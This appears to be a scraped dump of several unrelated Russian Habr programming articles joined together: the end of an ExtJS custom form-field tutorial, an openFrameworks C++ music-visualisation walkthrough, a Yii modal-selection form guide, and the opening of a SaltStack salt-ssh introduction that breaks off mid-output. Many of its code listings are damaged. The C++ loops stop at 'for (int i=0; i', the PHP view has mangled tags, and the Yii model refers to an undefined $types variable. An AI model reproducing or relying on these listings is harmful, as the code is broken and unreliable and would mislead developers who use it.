Чтобы заставить компонент нормально сериализироватся, придется идти на ухищрения. На данный момент загрузка значений в него будет производится нормально, без проблем будут работать и методы get/setValue. Но при сериализации он будет отдавать вместо одногозначения с кол-вом секунд сразу три значения. Это происходит потому, что в расчете на совместимость со стандартным submit'ом сериализация форм происходит не путем обращения к getValue-методам, а путем выборки из отрендереного HTML-кода элементов форма (
> `1. var setFn = function (v) {
> 2. ................................................................
> 3. this.hiddenField.value = v;
> 4. };
> 5. ....................................................
> 6. onTimeFieldsChanged : function () {
> 7. ..............................................................................
> 8. this.hiddenField.value = this.value;
> 9. this.fireEvent('change', this, this.value);
> 10. },
> 11.
> 12. onRender : function(ct, position){
> 13. Ext.ux.TimeField.superclass.onRender.call(this, ct, position);
> 14. ............................................................................................................
> 15. this.hiddenField = this.el.insertSibling({
> 16. tag:'input',
> 17. type:'hidden',
> 18. name: this.name || this.id,
> 19. id: (this.id+'hidden')
> 20. }, 'before', true);
> 21. if (this.value) this.setValue(this.value);
> 22. }
> \* This source code was highlighted with Source Code Highlighter.`
Вот и все. Как видите, создание даже нестандартных компонентов путем наследования Ext.form.Field – не такая сложная задача, как Вам могло казаться на первый взгляд. Созданный нами компонент уместился всего в 99 строчек кода.
Скачать архив с примером можно [по ссылке](http://habrdemos.ibpro.com.ua/download/custom-formfield-demo.tar.gz) ([альтернативная ссылка](http://habrdemos.ibpro.com.ua/download/custom-formfield-demo-noextjs.tar.gz) без дистрибутива ExtJS), а посмотреть демо – [здесь](http://habrdemos.ibpro.com.ua/custom-formfield-demo.html). | https://habr.com/ru/post/88261/ | null | ru | null |
# Креативное программирование: openFrameworks — установка и пример визуализации музыки
Когда вы последний раз программировали на C++?
Может быть это ваша каждодневная работа, а мой последний (до вчерашнего дня) проект на С++ был в далеком 2000 году — дипломный проект на базе Visual Studio 4.2 (хорошая, кстати, система была), и с тех пор перешёл в веб-разработку — скриптовые языки.
То есть сейчас я — начинающий на C++, но это не помешало мне за пару часов развернуть инфраструктуру, сделать и собрать мультимедийное приложение на C++, которое визуализирует музыку с разными эффектами. И в этом мне помогли:
* открытый фреймворк для создания интерактивных приложений — openFrameworks
* бесплатное IDE Code::Blocks
**Посмотреть, что же у меня получилось**
[Посмотреть в HD](https://vimeo.com/112923420).
music by: [volfworks](https://soundcloud.com/volfworks)
А начиналось всё так — после очередного прослушивания музыки от одного композитора из Самары, я подумал — было бы интересно попробовать сделать визуализацию музыки, и обратился к Денису Перевалову (кто не первый год занимается созданием разнообразных интерактивных арт/перформанс систем) — он мне ответил, что это делается без проблем на базе openFrameworks и что в примерах к его книге (а он автор книги по openFrameworks), есть реализация такой задачи.
То есть мне нужно было *всего лишь* — установить фреймворк, доработать и собрать пример на С++… Об этом процессе — установке, настройки, и кратком описании openFrameworks и будет эта статья.
**openFrameworks** — это система с помощью которой можно запрограммировать интерактивное мультимедийное приложение, то есть арт, [перформансы](http://habrahabr.ru/post/217565/) и т.п., она бесплатная, открытая и кроссплатформенная система (linux, mac, win), и так же есть версии для ARM (к примеру для RPi), и сборки для iPhone и Android.
Кстати на КДПВ — одна из [инсталляций](http://kuflex.com/Museum-Guides) на базе openFrameworks (Семь Видеогидов. выставлено на ВДНХ в экспозиции Политехнического музея. Москва, 2014).
Что же такое openFrameworks? Это набор модулей — для интеграции с Arduino, с кинектом, с системой распознавания образов OpenCV, рисование 3д графики, работа со звуком, камерами и т.п. с помощью которых можно сделать интерактивное приложение. И всё это на базе C++.
В поле моего зрения openFrameworks попала, когда я вышел на роботизированные инсталляции созданные с её помощью.
План такой:
* 1. Настройка openFrameworks
* 2. Основные принципы openFrameworks приложения
* 3. Тестовый пример
#### **1. Настройка openFrameworks**
Следующие шаги:
* установка openFrameworks (для CodeBlocks)
* установка IDE CodeBlocks
* копирование библиотек openFrameworks для CodeBlocks компилятора
##### **Установка openFrameworks**
Согласно этой страничке [download](http://openframeworks.cc/download/) я выбрал версию openFrameworks, для моей ОС и для IDE на которой я планировал работать.
В моем случае win и code::blocks: скачиваем архив [of\_v0.8.4\_win\_cb\_release.zip](http://www.openframeworks.cc/versions/v0.8.4/of_v0.8.4_win_cb_release.zip)
Распаковываем, архив содержит следующие папки:
\* addons
\* apps
\* docs
\* examples
\* export
\* libs
\* other
\* projectGenerator
\* scripts
Это C++ библиотеки openFrameworks, примеры, аддоны и т.п.
Для того чтобы создавать openFrameworks приложение, лучше использовать IDE среду.
##### **Установка IDE CodeBlocks**
В качестве IDE, я решил выбрать code::blocks (visual studio всё таки великовата будет для меня сейчас)
**CodeBlocks** — это бесплатная и открытая IDE, созданная на базе кроссплатформенной GUI библиотеки [wxWidgets](https://www.wxwidgets.org/). Согласно этой странице [openframeworks.cc/setup/codeblocks](http://openframeworks.cc/setup/codeblocks/) скачиваю IDE CodeBlocks. Версия Release 12.11 [Отсюда](http://www.codeblocks.org/downloads/5). Эта сборка идёт вместе с [MinGW](http://www.mingw.org/) — открытой средой разработки под win платформу.
Вот так выглядит IDE CodeBlocks
##### **Копирование библиотек openFrameworks для CodeBlocks компилятора**
Важный пункт — для того чтобы из IDE CodeBlocks, успешно собирались openFrameworks проекты, необходимо скопировать дополнительные файлы в MinGW.
Вот [этот пункт](http://openframeworks.cc/setup/codeblocks/#additions).
Скачиваем [Additions for Code::Blocks to work with openFrameworks](http://www.openframeworks.cc/content/files/codeblocks_additions.zip) zip архив.
Распаковываем во временной папке, и копируем в соответствующие папки в установленном CodeBlocks, согласно этой инструкции:
> Add the contents of the folder «add\_to\_codeblocks\_mingw\_include» into "...\CodeBlocks\MinGW\include"
>
> Add the contents of the folder «add\_to\_codeblocks\_mingw\_lib» into "...\CodeBlocks\MinGW\lib"
Всё, теперь мы готовы к сборке openFrameworks проектов!
#### **2. Основные принципы openFrameworks приложения**
##### **Сборка тестового проекта**
Откроем тестовый проект, для этого выберем со стартовой страницы IDE CodeBlocks выберем «Open an existing project...» (или в File — Import Project — Dev-C++ project… — и выбрав тип файлов \*.\*)
Переходим в папку где мы развернули openFrameworks, заходим в examples/empty/emptyExample, и открываем файл проекта emptyExample.
Вот так выглядит IDE после открытия проекта:
Попробуем сразу же стартовать проект — на картинке указана стрелкой иконка или нажать F9 — RUN.
Если приложение не собрано, то будет стартована сборка (после вашего подтверждения) и по окончании сборки — приложение стартуется.
Если всё настроено верно, то по окончании процесса сборки будет открыто консольное окно, и мы увидим это окно:
Поздравляю! Значит всё настроено верно. И в папочке bin появилось приложение emptyExample.exe, которое вы можете уже запускать независимо.
##### **Файлы**
Теперь посмотрим на файлы нашего emptyExample проекта, они находятся в папке src:
\* main.cpp
\* ofApp.h
\* ofApp.cpp
Файл **main.cpp**:
**Скрытый текст**
```
#include "ofMain.h"
#include "ofApp.h"
//========================================================================
int main( ){
ofSetupOpenGL(1024,768, OF_WINDOW); // <-------- setup the GL context
// this kicks off the running of my app
// can be OF_WINDOW or OF_FULLSCREEN
// pass in width and height too:
ofRunApp( new ofApp());
}
```
В нем определяется окно нашего приложения, и далее создаётся экземпляр класса ofApp.
Файл **ofApp.h**:
**Скрытый текст**
```
#pragma once
#include "ofMain.h"
class ofApp : public ofBaseApp{
public:
void setup();
void update();
void draw();
void keyPressed(int key);
void keyReleased(int key);
void mouseMoved(int x, int y);
void mouseDragged(int x, int y, int button);
void mousePressed(int x, int y, int button);
void mouseReleased(int x, int y, int button);
void windowResized(int w, int h);
void dragEvent(ofDragInfo dragInfo);
void gotMessage(ofMessage msg);
};
```
Здесь определяется класс наш класс ofApp, наследуется от ofBaseApp. И методы.
Основной класс приложения **ofApp.cpp**:
**Скрытый текст**
```
#include "ofApp.h"
//--------------------------------------------------------------
void ofApp::setup(){
}
//--------------------------------------------------------------
void ofApp::update(){
}
//--------------------------------------------------------------
void ofApp::draw(){
}
//--------------------------------------------------------------
void ofApp::keyPressed(int key){
}
//--------------------------------------------------------------
void ofApp::keyReleased(int key){
}
//--------------------------------------------------------------
void ofApp::mouseMoved(int x, int y){
}
//--------------------------------------------------------------
void ofApp::mouseDragged(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mousePressed(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseReleased(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::windowResized(int w, int h){
}
//--------------------------------------------------------------
void ofApp::gotMessage(ofMessage msg){
}
//--------------------------------------------------------------
void ofApp::dragEvent(ofDragInfo dragInfo){
}
```
Как мы видим — ничего не реализовано, мы увидели просто пустое, но работающее openFrameworks приложение.
##### **Цикл работы openFrameworks приложения**
Основными методами нашего класса являются:
```
void setup();
void update();
void draw();
```
Архитектура любого openFrameworks приложения следующая:
В методе setup прописываются настройки, подготовка ресурсов и т.п. Этот метод выполняется один раз при запуске приложения, перед началом основного цикла.
Основной цикл это update и draw, где в первом методе — происходят только расчеты, а во втором draw — рисование. И после этого цикл повторяется.
Выход происходит по нажатию Esc.
#### **3. Тестовый пример**
Вот мы подошли к нашей задаче — визуализации музыки.
На этом [сайте](http://masteringof.wordpress.com/) представлены примеры к книге «Mastering openFrameworks: Creative Coding Demystified». Сами файлы можно бесплатно скачать с [карточки книги](https://www.packtpub.com/books/content/support/10348) (после регистрации).
Вот [видео примеров](http://masteringof.wordpress.com/examples/sounds/).
##### **Базовый пример Dancing Cloud**
И вот тот пример, что я хотел взять за основу и модифицировать — называется Dancing Cloud (06-Sound/06-DancingCloud):
Я скачал этот пример, и распаковал архив в корне моей openFrameworks папки — это важно, т.к. папка проекта должна находиться на 2 уровня ниже.
Вот **ВЕСЬ** исходный код, проекта 06-Sound/06-DancingCloud:
**main.cpp**:
**Скрытый текст**
```
#include "testApp.h"
#include "ofAppGlutWindow.h"
//--------------------------------------------------------------
int main(){
ofAppGlutWindow window; // create a window
// set width, height, mode (OF_WINDOW or OF_FULLSCREEN)
ofSetupOpenGL(&window, 1024, 768, OF_WINDOW);
ofRunApp(new testApp()); // start the app
}
```
**testApp.h**:
**Скрытый текст**
```
#pragma once
#include "ofMain.h"
/*
This example draws points cloud and plays music track.
Also it analyzes music spectrum and use this data for controlling
the radius and shuffle of the cloud.
It's the example 06-DancingCloud from the book
"Mastering openFrameworks: Creative Coding Demystified",
Chapter 6 - Working with Sounds
Music track "surface.wav" by Ilya Orange (soundcloud.com/ilyaorange)
*/
class testApp : public ofBaseApp{
public:
void setup();
void update();
void draw();
void mousePressed(int x, int y, int button);
ofSoundPlayer sound; //Sound sample
void keyPressed(int key);
void keyReleased(int key);
void mouseMoved(int x, int y);
void mouseDragged(int x, int y, int button);
void mouseReleased(int x, int y, int button);
void windowResized(int w, int h);
void dragEvent(ofDragInfo dragInfo);
void gotMessage(ofMessage msg);
};
```
**testApp.cpp**
**Скрытый текст**
```
#include "testApp.h"
const int N = 256; //Number of bands in spectrum
float spectrum[ N ]; //Smoothed spectrum values
float Rad = 500; //Cloud raduis parameter
float Vel = 0.1; //Cloud points velocity parameter
int bandRad = 2; //Band index in spectrum, affecting Rad value
int bandVel = 100; //Band index in spectrum, affecting Vel value
const int n = 300; //Number of cloud points
//Offsets for Perlin noise calculation for points
float tx[n], ty[n];
ofPoint p[n]; //Cloud's points positions
float time0 = 0; //Time value, used for dt computing
//--------------------------------------------------------------
void testApp::setup(){
//Set up sound sample
sound.loadSound( "surface.wav" );
sound.setLoop( true );
sound.play();
//Set spectrum values to 0
for (int i=0; i
```
Комментарий от Дениса (автора книги), по поводу алгоритма, что визуализирует музыку:
> 300 точек (const int n = 300;) движутся по траекториям шума Перлина, причем соседние точки соединяются отрезками.
>
> Радиус облака и скорость движения — это два параметра, которые берутся из анализа звука.
>
>
>
> Анализ звука такой: исходный звук превращается в спектр (с помощью оконного преобразования Фурье). Выбираются два значения спектра, которые и становятся двумя параметрами, управляющими движением облака точек. Эти две частоты показаны на спектре чёрным цветом.
Смотрим отличия от нашего emptyExample.
main.cpp — идентичен по сути.
В testApp.h, добавился атрибут sound, класса ofSoundPlayer:
```
ofSoundPlayer sound; //Sound sample
```
ofSoundPlayer — это базовый класс для работы со звуком, [docs](http://openframeworks.cc/documentation/sound/ofSoundPlayer.html).
Самое интересное находится в testApp.cpp.
Вот переменные, что используются для реализации логики:
```
const int N = 256; // Число полос спектра
float spectrum[ N ]; // массив для значений спектра
float Rad = 500; // радиус облака
float Vel = 0.1; // параметр скорости точек облака
int bandRad = 2; // полоса спектра что будет модифицировать Rad параметр
int bandVel = 100; // полоса спектра что будет модифицировать Vel параметр
const int n = 300; // число точек в облаке
// рассчитанные смещения точке согласно шума Перлина
float tx[n], ty[n];
ofPoint p[n]; // координаты точек облака
float time0 = 0; // используется для вычисления dt - прошедшего времени между отображениями
```
Вот что прописано в методе testApp::setup() происходит инициализация музыки, переменных для отображения спектра, и точек облака:
```
void testApp::setup(){
//Set up sound sample
sound.loadSound( "surface.wav" );
sound.setLoop( true );
sound.play();
//Set spectrum values to 0
for (int i=0; i
```
Видим, что музыка загружается, и сразу начинает воспроизводиться, причем циклом.
В методе testApp::update() — происходит вся «магия» по расчету размещения точек.
**Скрытый текст**
```
void testApp::update(){
//Update sound engine
ofSoundUpdate();
//Get current spectrum with N bands
float *val = ofSoundGetSpectrum( N );
//We should not release memory of val,
//because it is managed by sound engine
//Update our smoothed spectrum,
//by slowly decreasing its values and getting maximum with val
//So we will have slowly falling peaks in spectrum
for ( int i=0; i
```
Вот метод рисования, здесь согласно рассчитанным данным происходит отображение спектра, точек облака, и линий между точками (при условии если они ближе float dist = 40):
```
void testApp::draw(){
ofBackground( 255, 255, 255 ); //Set up the background
//Draw background rect for spectrum
ofSetColor( 230, 230, 230 );
ofFill();
ofRect( 10, 700, N * 6, -100 );
//Draw spectrum
ofSetColor( 0, 0, 0 );
for (int i=0; i
```
##### **Мои модификации**
Я взял музыку volfworks: [soundcloud.com/volfworks](https://soundcloud.com/volfworks)
Автор любезно согласился на мое использование его композиции Звезда.
Первым дело — я заменил wav на mp3 — openFrameworks поддерживает mp3. Так же сделал потоковое воспроизведение (иначе все 8Мб должны быть сразу загружены — добавил true вторым параметром, [docs](http://openframeworks.cc/documentation/sound/ofSoundPlayer.html#!show_loadSound)).
```
sound.loadSound( "zvezda.mp3", true );
```
Добавил загрузку фонового изображения:
```
stars.loadImage("stars.jpg");
```
Поменял цветовую гамму, сделал эффекты прозрачности зависимые от времени.
Фрагмент из ofApp::draw():
```
// включение использования прозрачности, и рисование квадрата поверх фоновой картинки
// с прозрачностью определяемой bg_transparent
ofEnableAlphaBlending();
ofSetColor(0, 0, 0, bg_transparent);
ofRect(0, 0, 1000, 700);
ofDisableAlphaBlending();
// рисование текста указанного цвета, в координатах
ofSetHexColor(0x606060);
ofDrawBitmapString("Music by: volfworks", 800,610);
```
Весь проект выложен на github: [github.com/nemilya/of\_volfworks\_example](https://github.com/nemilya/of_volfworks_example)
##### **Создание видео**
В этом возникли некоторые сложности, и в конечном итоге было выполнено с помощью «Camtasia Recorder».
#### **Ссылки**
Основной сайт проекта: [openframeworks.cc](http://openframeworks.cc) там предоставлены достаточно хорошие туториалы.
Если вы работаете с openFrameworks, или интересно попробовать, то приглашаю в [русскоязычную группу по openFrameworks](https://groups.google.com/forum/#!forum/of2ru). | https://habr.com/ru/post/244265/ | null | ru | null |
# Контекстно-зависимая форма в Yii
При работе с фреймворками всегда приходится создавать основной функционал самим, желательно, используя при этом возможности фреймворка (зачем тогда он нам нужен). Как понятно по заголовку речь пойдет про контекстно-зависимые формы в Yii. В статье описана реализация подобной формы, используя модальное окошко. Надеюсь, что кому то будет полезен именно такой вариант.
Забегая вперёд скажу, что в результате должно получиться вот такое поле, выпадающее меню и кнопка справа для выбора нужных данных.
**Контекстно-зависимое окошко выбора:**
**После выбора:**
Почему был выбран вариант с модальным окном? Это позволяет упростить выбор нужного элемента. В модальном окне можно выводить CGridView, при этом можно сортировать, искать и фильтровать данные, что очень удобно, если выбирать приходится из большого количества элементов.
Итак, ингредиенты для приготовления этой Yiiшницы:
* Одно [Yii](http://www.yiiframework.com/)
* Расширение [NLSClientScript](http://www.yiiframework.com/extension/nlsclientscript)
* [Bootstrap](http://twitter.github.io/bootstrap/) по вкусу ([расширение для Yii](http://www.yiiframework.com/extension/bootstrap/))
Теперь, наберемся терпения и начнем приготовление.
Допустим, у нас есть контроллер **menuController.php**, view файл **\_form.php** и модель **Menu.php**. Не буду останавливаться на том, кто есть кто, всё это стандартный, автоматически сгенерированный код [Gii](http://www.yiiframework.com/doc/guide/1.1/ru/topics.gii), Гы.
#### Модель (Menu.php)
Сначала уточним, как работает модель. Будем считать, что у нас есть связка из типа данных и ID, которое привязано к типу данных. В модели (так же и в БД) должны присутствовать поля *type* и *data\_id*, оба целочисленные. Для удобства при загрузке модели, будем загружать наименование объекта, на который он ссылается (понадобится при редактировании объекта). Допустим в поле *data\_name*. Провернём нужные махинации в функции *afterFind()*. Так же сделаем список типов данных более динамичным. Определим статический массив в классе, таким образом, если нам нужно будет расширять или же сужать варианты типов, мы будем редактировать только класс модели.
Т.к. мы используем ActiveRecord то, по сути, необходимо знать только название модели и вьюшки для работы с конкретно взятым типом данных.
```
static $types = array(
1 => array("name" => "Страница", "model" => "Pages", "view" => "pages_grid"),
2 => array("name" => "Документ", "model" => "Docs", "view" => "docs_grid"),
3 => array("name" => "Папка", "model" => "Cats", "view" => "cats_grid"),
);
public static function getSimpleTypes() { // возвращает список типов. Нужен для DropDownList
$st = array();
foreach (Menu::$types as $key => $value)
$st[$key] = $value["name"];
return $st;
}
var $data_name;
public function afterFind() {
$dataModel = $types[$this->type]['model']::model()->findByPk($this->data_id);
$this->data_name = $dataModel->title; // Присваиваем переменной $data_name название выбранного элемента
parent::afterFind();
}
```
На этом рассмотрение модели закончим.
#### View формы (\_form.php)
Смотрим view файл нашей формы \_form.php
```
php $form=$this-beginWidget('bootstrap.widgets.TbActiveForm',array(
'id'=>'menu-form',
'enableAjaxValidation'=>false,
'type' => 'horizontal',
)); ?>
php echo $form-errorSummary($model);?>
php echo $form-textFieldRow($model,'name');?>
php echo $form-textField($model,'data_id',array('class'=>'hide')); ?>
=$form-labelEx($model,'type')?>
php echo $form-dropDownList($model,'type',Menu::getSimpleTypes());?>
if(!$model-isNewRecord) echo $model->data\_name?>
php $this-widget('bootstrap.widgets.TbButton', array(
'buttonType'=>'submit',
'type'=>'primary',
'label'=>$model->isNewRecord ? 'Create' : 'Save',
)); ?>
php $this-endWidget(); ?>
php $this-beginWidget('bootstrap.widgets.TbModal', array('id'=>'dataModal')); ?>
×
#### =Yii::t("menu", "Выберите материал")?
php $this-widget('bootstrap.widgets.TbButton', array(
'label'=>Yii::t("menu", "Отмена"),
'url'=>'#',
'htmlOptions'=>array('data-dismiss'=>'modal'),
)); ?>
php $this-endWidget(); ?>
// Функция для вызова из модального окошка
function selectData(id, name) {
$("#Menu\_data\_id").val(id);
$("#data-info .info").html(name);
$("#data-info").show();
$('#dataModal').modal("hide");
}
// Обнуляем data\_id если меняем тип данных
$('#Menu\_type').change(function(){
$("#Menu\_data\_id").val("");
$("#data-info").hide();
})
// Функция которая показывает модальное окно с данными для выбора, полученными через AJAX
$('#data-select-btn').click(function(){
var buttn = this;
$(buttn).button('loading');
$.ajax({
url: "<?php echo $this->createAbsoluteUrl('menu/loadData') ?>",
cache: false,
data: "type="+$("#Menu\_type").val(),
success: function(html){
$(".modal-body").html(html);
$(buttn).button('reset');
$('#dataModal').modal().css({
width: 'auto',
'margin-left': function () {
return -($(this).width() / 2);
},
});
}
});
})
```
Собственно это весь файл формы. Основные элементы тут, это наше поле и функция для AJAX запроса данных.
Как вы можете видеть, функция получения данных, обращается к экшну *menu/loadData*. Посмотрим, что он делает:
#### Контроллер (menuController.php)
```
public function actionLoadData($type)
{
$model_name = Menu::$types[$type]['model'];
$model = new $model_name('search'); // создаем модель данных нужного типа
if(isset($_GET[$model_name])) // чтобы работали функции поиска нужно передать параметры в модель
$model->attributes=$_GET[$model_name];
$this->renderPartial(Menu::$types[$type]['view'],array(
'model'=>$model,
), false, true); // обязательно ставим $processOutput = true, чтобы работали скрипты в модальном окошке.
}
```
Стоить отметить, что нужно установить для функции *renderPartial* параметр *$processOutput = true*, иначе не будут загружены скрипты, подключаемые виджетами в view файле.
Еще нужно уточнить очень важный момент, при установке параметра *$processOutput*, будут подгружены все файлы, включая и те, что уже были подключены на главной странице, что очень критично в случае, например, JQuery. Поэтому, советую установить расширение NLSClientScript, оно проконтролирует, чтобы все файлы подключались единожды.
#### View файл для модального окошка (docs\_grid.php)
View файлы надо хранить в предназначенной для этого папке контроллера, т.е. в нашем случае это будет **/protected/views/menu**
Теперь разберем один из view файлов для модального окошка. Можно использовать любой удобный вид для выбора данных, главное чтобы он работал через объект модели. Мне нравится [CGridView](http://www.yiiframework.com/doc/api/1.1/CGridView), т.к. в нём есть все необходимое: поиск, пагинация и сортировка.
```
$this->widget('bootstrap.widgets.TbGridView',array(
'id'=>'docs-grid',
'dataProvider'=>$model->search(),
'filter'=>$model,
'columns'=>array(
'id',
'title',
'updated',
array(
'class'=>'CButtonColumn',
'template' => "{insert}",
'buttons' => array(
"insert" => array(
'label' => "выбрать",
'options' => array(
"class" => "btn btn-mini btn-success",
"onclick" => 'selectData($(this).parent().parent().children(":nth-child(1)").text(),$(this).parent().parent().children(":nth-child(2)").text());',
)
),
)
),
),
));
```
Тут ничего лишнего, один единственный грид с кнопками выбора элемента. В примере использован грид от bootstrap, но можно использовать стандартный CGridView.
Но тут есть одна хитрость. Как вы заметили, на кнопке выбора элемента висит невзрачный скрипт, выдирающий из таблицы *id* и *title* элемента. К сожалению, виджет GridView не позволяет оперировать данными отдельно взятой записи. Поэтому приходится таким вот образом получать нужные *id* и *title*, которые передаются функции *selectData*, описанной в view файле **\_form.php**.
Вот собственно и всё. Для того чтобы добавить новый тип данных достаточно дописать еще одну строчку в массиве созданном в модели **Menu.php** и написать или сгенерировать, при помощи Gii, модель ActiveRecord для нового типа. | https://habr.com/ru/post/178303/ | null | ru | null |
# SaltStack: использование salt-ssh
В этом посте я хотел бы поделиться своим опытом использования системы управления конфигурациями [SaltStack](https://saltstack.com/), и, в частности, её применением в *Masterless* режиме при помощи **salt-ssh** компонента.
По сути, [salt-ssh](https://docs.saltstack.com/en/latest/topics/ssh/) является аналогом системы [Ansible](https://www.ansible.com/).
```
salt-ssh '*-ec2.mydomain.com' test.ping
```
Будут затронуты следующие темы:
* Почему SaltStack, ключевые особенности
* Базовые понятия SaltStack
* Salt-ssh установка и использование
### **Почему SaltStack, ключевые особенности**
Когда я несколько лет назад, вдоволь насытившись puppet (multiple environments, 100+ nodes), для нового проекта выбирал новую же систему управления конфигурациями, то *Masterless* режим работы был ключевым требованием. Но также хотелось сохранить возможность *Master-Slave* режима работы. Хотелось хорошей, обширной документации и гибкости. Хотелось уметь управлять облачными инфраструктурами.
А еще хотелось построить систему, в которой будут легко уживаться самые разные окружения. Все это удалось сделать при помощи salt-ssh.
[Salt-ssh](https://docs.saltstack.com/en/latest/topics/ssh/) это компонент [SaltStack](https://saltstack.com/), который, как и [Ansible](https://www.ansible.com/), использует ssh для соединения с удаленными машинами и не требует никаких предварительных настроек со стороны удаленных машин. Никаких агентов. Pure ssh!
Конечно, при выборе системы я рассматривал и Ansible. Но чаша весов тогда склонилась к SaltStack.
В отличие от Ansible, SaltStack использует [Jinja2](https://docs.saltstack.com/en/latest/ref/renderers/all/salt.renderers.jinja.html) как для обработки шаблонов, так и для построения логики.
Причем эту логику можно построить практически любыми способом. Что с одной стороны и хорошо и плохо. Хорошо т.к. даёт гибкость. Но плохо, т.к. нет одного стандартного способа и подхода к реализации. Мне даже кажется, что SaltStack больше представляет из себя конструктор в этом плане.
Также, рендеринг шаблонов и логики происходит на этапе запуска. Полученный пакет шаблонов, настроек и инструкций копируется на удаленный сервер и выполняется. По завершению выполнения salt-ssh выдает в консоль отчет, что было выполнено, а с чем произошли ошибки, если они возникли. Здесь отличие с ansible очень разительно. Последний выполняет задачи\плейбуки поочередно, в режиме shell-скрипта. Не скрою, что наблюдать за ходом выполнения ansible скриптов приятнее, но постепенно все это отходит на второй план, когда число хостов переваливает за несколько десятков. Также, в сравнении с ansible, SaltStack имеет более высокий уровень абстракции.
Как бы то ни было, и ansible и salt-ssh это два очень интересных инструмента, каждый из которых имеет свои плюсы и минусы.
### **Базовые понятия SaltStack**
SaltStack — это система управления конфигурациями и инфраструктурой. Как на уровне отдельных серверов, так и в различных облачных платформах ([SaltCloud](https://docs.saltstack.com/en/latest/topics/cloud/)). Также это система удаленного выполнения команд. Написана на python. Очень бурно развивается. Имеет множество самых разных модулей и возможностей, в том числе даже такие как [Salt-Api](https://docs.saltstack.com/en/latest/ref/cli/salt-api.html) и [Salt-Syndic](https://docs.saltstack.com/en/latest/topics/topology/syndic.html) (master of masters или система, позволяющая строить иерархию мастер серверов, тобишь синдикат).
По умолчанию SaltStack подразумевает Master-Slave режим работы. Обмен сообщениями между нодами происходит через [ZeroMQ](https://docs.saltstack.com/en/latest/topics/transports/zeromq.html) протокол. Умеет горизонтально масштабироваться при помощи MultiMaster настроек.
Но самое приятное, Salt умеет еще работать и в *Agentless* режиме. Что может быть реализовано при помощи локального запуска стейтов либо при помощи salt-ssh, героя данного топика.
*Salt master* — процесс, работающий на машине, с которой происходит управление подключенными агентами. В случае с salt-ssh можно назвать мастером ту ноду, где лежат наши state и pillar данные
*Salt minion* — процесс, работающий на управляемых машинах, т.е. slave. В случае с salt-ssh minion это любой удаленный сервер
*State* — декларативное представление состояния системы (аналог playbooks в ansible)
*Grains* — статическая информация об удаленном minion (RAM,CPUs,OS,etc)
*Pillar* — переменые для одного или более minions
*top.sls* — центральные файлы, реализующие логику какие state и pillar данные какому minion назначить
*highstate* — все определенные state данные для minion
*SLS* — так называются все конфигурационные файлы для pillar\states в SaltStack, используется YAML
Одним из недостатков системы SaltStack является более высокий порог вхождения. Далее я покажу примеры, чтобы начать работать с этой замечательной системой было проще.
### **Salt-ssh установка и использование**
Установка salt-ssh происходит тривиально.
На сайте [<https://repo.saltstack.com/>](https://repo.saltstack.com/) есть все необходимые репозитории и инструкции для подключения их в разнообразных системах.
Для установки нужен только сам salt-ssh.
`sudo apt-get install salt-ssh` (На примере Deb систем)
#### **Подготовка тестового окружения и Vagrant**
Чтобы начать использовать salt-ssh нам достаточно установить его. Как минимум можно управлять своей локальной машиной, либо любым удаленным сервером, что гораздо наглядней.
В данном же примере, для тестов я буду использовать две виртуальные машины, созданные при помощи [Vagrant](https://www.vagrantup.com/). На одной из них будет установлен собственно сам salt-ssh, другая будет чистая, не считая подключенного публичного ключа с первой машины.
Сам Vagrantfile и необходимые salt states выложены в репозиторий [<https://github.com/skandyla/saltssh-intro>](https://github.com/skandyla/saltssh-intro).
**Vagrantfile**
```
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure(2) do |config|
# VM with salt-ssh
config.vm.define :"saltsshbox" do |config|
config.vm.box = "ubuntu/trusty64"
config.vm.hostname = "saltsshbox"
config.vm.network "private_network", ip: "192.168.33.70"
config.vm.provider "virtualbox" do |vb|
vb.memory = "512"
vb.cpus = 2
end
config.vm.synced_folder ".", "/srv"
# Deploy vagrant insecure private key inside the VM
config.vm.provision "file", source: "~/.vagrant.d/insecure_private_key", destination: "~/.ssh/id_rsa"
# Install salt-ssh
config.vm.provision "shell", inline: <<-SHELL
wget -O - https://repo.saltstack.com/apt/ubuntu/14.04/amd64/latest/SALTSTACK-GPG-KEY.pub | sudo apt-key add -
sudo echo 'deb http://repo.saltstack.com/apt/ubuntu/14.04/amd64/latest trusty main' > /etc/apt/sources.list.d/saltstack.list
sudo apt-get update
sudo apt-get install -y salt-ssh
SHELL
end
# VM for testing
config.vm.define :"testserver" do |config|
config.vm.box = "ubuntu/trusty64"
config.vm.hostname = "testserver"
config.vm.network "private_network", ip: "192.168.33.75"
config.vm.provider "virtualbox" do |vb|
vb.memory = "512"
end
# Deploy vagrant public key
config.vm.provision "shell", inline: <<-SHELL
curl https://raw.githubusercontent.com/mitchellh/vagrant/master/keys/vagrant.pub >> ~/.ssh/authorized_keys2 2>/dev/null
curl https://raw.githubusercontent.com/mitchellh/vagrant/master/keys/vagrant.pub >> /home/vagrant/.ssh/authorized_keys2 2>/dev/null
SHELL
end
end
```
Я предполагаю что аудитория знакома с Vagrant, но на всякий случай: [Vagrant](https://www.vagrantup.com/) — это своеобразный фреймворк для систем виртуализации, предназначенный для упрощения процесса разработки и создания его воспроизводимым. Для запуска виртуальных машин нам понадобятся установленными сам Vagrant и Virtualbox.
Дальше клонируем репозиторий:
```
git clone https://github.com/skandyla/saltssh-intro
```
и в нем инициализируем Vagrant виртуальные машины:
```
vagrant up
```
После запуска последних, заходим в saltsshbox:
```
vagrant ssh saltsshbox
```
Вся дальнейшая работа будет вестись из данной виртуальной машины. По умолчанию SaltStack предполагает что мы будет действовать от имени root, поэтому сразу делаем:
```
vagrant@saltsshbox:~$ sudo -i
```
#### **Понимание salt roster**
Целевые хосты прописываются в файл **/etc/salt/roster**, однако, можно указать любой сторонний roster file. В некотором смысле можно провести аналогии с *inventory* файлами ansible. Roster файл, представляет собой YAML, с множеством разных опций. Ниже показаны несколько способов записи одного и того же хоста.
**/srv/saltstack/saltetc/roster\_test**
```
testserver:
host: 192.168.33.75
priv: /home/vagrant/.ssh/id_rsa
thesametestserver:
host: 192.168.33.75
user: vagrant
sudo: True
thesametestserver2:
host: 192.168.33.75
user: vagrant
passwd: vagrant
sudo: True
```
Теперь попробуем выполнить команду `test.ping` применительно ко всем хостам, указанным в нашем ростере.
```
root@saltsshbox:~# salt-ssh -i --roster-file=/srv/saltstack/saltetc/roster_test '*' test.ping
Permission denied for host thesametestserver, do you want to deploy the salt-ssh key? (password required):
[Y/n] n
thesametestserver:
----------
